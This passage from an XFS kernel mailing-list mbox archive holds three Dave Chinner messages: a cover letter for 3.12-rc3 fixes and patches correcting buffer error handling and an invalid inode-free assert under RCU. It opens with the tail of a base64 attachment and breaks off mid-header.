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 ------=_NextPart_000_05C6_01CEB8E9.40DB7CE0-- From dave@fromorbit.com Tue Sep 24 01:01:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A4B5E7CBF for ; Tue, 24 Sep 2013 01:01:53 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 930D28F8049 for ; Mon, 23 Sep 2013 23:01:53 -0700 (PDT) X-ASG-Debug-ID: 1380002511-04cb6c153d135ed00001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id fabnqQaZgFImtMuZ for ; Mon, 23 Sep 2013 23:01:51 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoMGADEqQVJ5LCC0/2dsb2JhbABagweuK5UoF3SCJQEBBScvMwgYMTkDGxmIBLxoj26ECAOpc4M2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail07.adl2.internode.on.net with ESMTP; 24 Sep 2013 15:31:23 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VOLgU-0007K4-UB for xfs@oss.sgi.com; Tue, 24 Sep 2013 16:01:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VOLgU-0004uZ-TM for xfs@oss.sgi.com; Tue, 24 Sep 2013 16:01:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/5] xfs: don't try to mark uncached buffers stale on error. Date: Tue, 24 Sep 2013 16:01:12 +1000 X-ASG-Orig-Subj: [PATCH 1/5] xfs: don't try to mark uncached buffers stale on error. Message-Id: <1380002476-18839-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380002476-18839-1-git-send-email-david@fromorbit.com> References: <1380002476-18839-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1380002511 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140874 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner fsstress failed during a shutdown with the following assert: XFS: Assertion failed: xfs_buf_islocked(bp), file: fs/xfs/xfs_buf.c, line: 143 ..... xfs_buf_stale+0x3f/0xf0 xfs_bioerror_relse+0x2d/0x90 xfsbdstrat+0x51/0xa0 xfs_zero_remaining_bytes+0x1d1/0x2d0 xfs_free_file_space+0x5d0/0x600 xfs_change_file_space+0x251/0x3a0 xfs_ioc_space+0xcc/0x130 ..... xfs_zero_remaining_bytes() works with uncached buffers, and hence if we are preventing IO due to a shutdown, we should not be marking it stale as that is only for cached buffers. Instead, just mark it with an error and make sure it gets to the caller. Signed-off-by: Dave Chinner --- fs/xfs/xfs_buf.c | 31 +++++++++++++++---------------- 1 file changed, 15 insertions(+), 16 deletions(-) diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index 2634700..956685f 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -1093,25 +1093,20 @@ xfs_bioerror_relse( struct xfs_buf *bp) { int64_t fl = bp->b_flags; + /* - * No need to wait until the buffer is unpinned. - * We aren't flushing it. - * - * chunkhold expects B_DONE to be set, whether - * we actually finish the I/O or not. We don't want to - * change that interface. + * No need to wait until the buffer is unpinned. We aren't flushing it. */ XFS_BUF_UNREAD(bp); XFS_BUF_DONE(bp); xfs_buf_stale(bp); bp->b_iodone = NULL; + + /* + * There's no reason to mark error for ASYNC buffers as there is no-one + * waiting to collect the error. + */ if (!(fl & XBF_ASYNC)) { - /* - * Mark b_error and B_ERROR _both_. - * Lot's of chunkcache code assumes that. - * There's no reason to mark error for - * ASYNC buffers. - */ xfs_buf_ioerror(bp, EIO); complete(&bp->b_iowait); } else { @@ -1128,11 +1123,15 @@ xfs_bdstrat_cb( if (XFS_FORCED_SHUTDOWN(bp->b_target->bt_mount)) { trace_xfs_bdstrat_shut(bp, _RET_IP_); /* - * Metadata write that didn't get logged but - * written delayed anyway. These aren't associated - * with a transaction, and can be ignored. + * If this is a cached write, then it is likely to be a delayed + * write metadata buffer that can be ignored because the + * contents are logged. If it's an uncached buffer or a read + * operation, then the caller will get the error through the + * normal IO completion path. We can tell if the buffer is + * cached or not by looking to see if the b_pag field is NULL or + * not. */ - if (!bp->b_iodone && !XFS_BUF_ISREAD(bp)) + if (!bp->b_iodone && !XFS_BUF_ISREAD(bp) && bp->b_pag) return xfs_bioerror_relse(bp); else return xfs_bioerror(bp); -- 1.8.3.2 From dave@fromorbit.com Tue Sep 24 01:01:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9BEF47CBF for ; Tue, 24 Sep 2013 01:01:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8A535304053 for ; Mon, 23 Sep 2013 23:01:54 -0700 (PDT) X-ASG-Debug-ID: 1380002511-04cb6c153d135ed00002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id fnfWQymVlebdW3lv for ; Mon, 23 Sep 2013 23:01:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoIGADEqQVJ5LCC0/2dsb2JhbABagweuK5UoF3SDAjuBAgOIOJsZoU+PboQIA6lzgzYq Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail07.adl2.internode.on.net with ESMTP; 24 Sep 2013 15:31:23 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VOLgU-0007K3-Ta for xfs@oss.sgi.com; Tue, 24 Sep 2013 16:01:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VOLgU-0004uW-SW for xfs@oss.sgi.com; Tue, 24 Sep 2013 16:01:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/5] xfs: fixes for 3.12-rc3 Date: Tue, 24 Sep 2013 16:01:11 +1000 X-ASG-Orig-Subj: [PATCH 0/5] xfs: fixes for 3.12-rc3 Message-Id: <1380002476-18839-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1380002512 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140874 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, These are fixes needed for regressions introduced in the 3.12 merge. I posted the first 3 patches a week ago, and sinve then I've found a couple more issues in working through all the xfstests failures I've been seeing since 3.12-rc1 was released. The last patch in the series fixes a filesystem corruption bug, so getting these into -rc3 should be considered a priority.... Cheers, Dave. From dave@fromorbit.com Tue Sep 24 01:01:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3725B7F3F for ; Tue, 24 Sep 2013 01:01:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B6DBCAC007 for ; Mon, 23 Sep 2013 23:01:51 -0700 (PDT) X-ASG-Debug-ID: 1380002506-04cbb02c3c135afd0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 4B6w7uK3WRktLI91 for ; Mon, 23 Sep 2013 23:01:46 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoUGADEqQVJ5LCC0/2dsb2JhbABagweuK5QHgSEXdIIlAQEFJy8zCBgxOQMbGYgEvGiPRiiECAOpc4M2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail07.adl2.internode.on.net with ESMTP; 24 Sep 2013 15:31:23 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VOLgU-0007K6-VP for xfs@oss.sgi.com; Tue, 24 Sep 2013 16:01:19 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VOLgU-0004uj-UY for xfs@oss.sgi.com; Tue, 24 Sep 2013 16:01:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 3/5] xfs: asserting lock not held during freeing not valid Date: Tue, 24 Sep 2013 16:01:14 +1000 X-ASG-Orig-Subj: [PATCH 3/5] xfs: asserting lock not held during freeing not valid Message-Id: <1380002476-18839-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380002476-18839-1-git-send-email-david@fromorbit.com> References: <1380002476-18839-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1380002506 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140874 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When we free an inode, we do so via RCU. As an RCU lookup can occur at any time before we free an inode, and that lookup takes the inode flags lock, we cannot safely assert that the flags lock is not held just before marking it dead and running call_rcu() to free the inode. We check on allocation of a new inode structre that the lock is not held, so we still have protection against locks being leaked and hence not correctly initialised when allocated out of the slab. Hence just remove the assert... Signed-off-by: Dave Chinner --- fs/xfs/xfs_icache.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index 193206b..474807a 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -119,11 +119,6 @@ xfs_inode_free( ip->i_itemp = NULL; } - /* asserts to verify all state is correct here */ - ASSERT(atomic_read(&ip->i_pincount) == 0); - ASSERT(!spin_is_locked(&ip->i_flags_lock)); - ASSERT(!xfs_isiflocked(ip)); - /* * Because we use RCU freeing we need to ensure the inode always * appears to be reclaimed with an invalid inode number when in the @@ -135,6 +130,10 @@ xfs_inode_free( ip->i_ino = 0; spin_unlock(&ip->i_flags_lock); + /* asserts to verify all state is correct here */ + ASSERT(atomic_read(&ip->i_pincount) == 0); + ASSERT(!xfs_isiflocked(ip)); + call_rcu(&VFS_I(ip)->i_rcu, xfs_inode_free_callback); } -- 1.8.3.2 From dave@fromorbit.com Tue Sep 24 01:01:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4C15F29DFB for ; Tue, 24 Sep 2013 01:01:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C870EAC008 for ; Mon, 23 Sep 2013 23:01:54 -0700 (PDT) X-ASG-Debug-ID: 1380002512-04cbb02c3a135aff0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 